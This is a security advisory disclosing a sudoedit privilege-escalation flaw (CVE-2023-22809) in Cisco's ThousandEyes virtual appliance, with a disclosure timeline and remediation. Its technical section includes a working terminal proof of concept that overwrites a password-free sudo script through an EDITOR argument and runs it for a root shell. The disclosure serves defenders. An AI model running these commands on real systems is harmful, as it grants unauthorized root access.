Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Modification via sudoedit
Affected Systems
Discovered By
Vulnerability Details
Vulnerability Description
An unpatched vulnerability in ‘sudoedit’, allowed by sudo configuration, permits a low-privilege user to modify arbitrary files as root and subsequently execute arbitrary commands as root.
Technical Description
The ThousandEyes Virtual Appliance is distributed with
a restrictive set of commands that can be executed via
sudo, without having to provide the password for the
‘thousandeyes’ account. However, the ability to execute
sudoedit of a specific file (/etc/hosts) via sudo is permitted
without requiring the password. The sudoedit binary can
be abused to allow the modification of any file on the
filesystem. This is a known security vulnerability (per
https://seclists.org/oss-sec/2023/q1/42), but had not been
disclosed for the ThousandEyes Virtual Appliance. This can be
abused to allow root-level compromise of the virtual appliance.
thousandeyes@thousandeyes-va:~$ id
uid=1000(thousandeyes) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)
thousandeyes@thousandeyes-va:~$ sudo -l
Matching Defaults entries for thousandeyes on thousandeyes-va:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User thousandeyes may run the following commands on thousandeyes-va:
(ALL : ALL) ALL
(ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, /bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop
te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart
te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, /usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent,
/usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, /usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install
te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, /usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-*
(root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump
Here we see that /usr/local/bin/te-* are executable as root with no
password. Even though sudoedit is only permitted to edit /etc/hosts,
we can use EDITOR= to spawn vim to edit an arbitrary file. Pick one
of those scripts because we can then execute it:
thousandeyes@thousandeyes-va:~$ file /usr/local/bin/te-set-config
/usr/local/bin/te-set-config: Python script, ASCII text executable
thousandeyes@thousandeyes-va:~$ EDITOR='vim -- /usr/local/bin/te-set-config' sudoedit /etc/hosts
sudoedit: --: editing files in a writable directory is not permitted
2 files to edit
sudoedit: /etc/hosts unchanged
thousandeyes@thousandeyes-va:~$ file /usr/local/bin/te-set-config
/usr/local/bin/te-set-config: ASCII text
thousandeyes@thousandeyes-va:~$ cat /usr/local/bin/te-set-config
/bin/bash
thousandeyes@thousandeyes-va:~$ sudo /usr/local/bin/te-set-config
root@thousandeyes-va:~# id
uid=0(root) gid=0(root) groups=0(root)
root@thousandeyes-va:~#
Mitigation and Remediation Recommendation
The vendor has released a version which remediates the described vulnerability. Release notes are available at:
https://bst.cloudapps.cisco.com/bugsearch/bug/CSCwf18994
Credit
This vulnerability was discovered by Jim Becher of KoreLogic, Inc.
Proof of Concept
See 3. Technical Description.
The contents of this advisory are copyright(c) 2023 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt
Disclosure Timeline
KoreLogic submits vulnerability details to Cisco.
Cisco acknowledges receipt and the intention to investigate.
Cisco notifies KoreLogic that a remediation for this vulnerability is expected to be available within 90 days.
45 business days have elapsed since KoreLogic reported this vulnerability to the vendor.
Cisco informs KoreLogic that the issue has been remediated in the latest ThousandEyes Virtual Appliance and a Third Party Software Release Note Enclosure will be released 2023.08.16. Cisco provides CVE-2023-22809 to track this vulnerability.
60 business days have elapsed since KoreLogic reported this vulnerability to the vendor.
Cisco public acknowledgement.
KoreLogic public disclosure.
Responsible Disclosure
KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.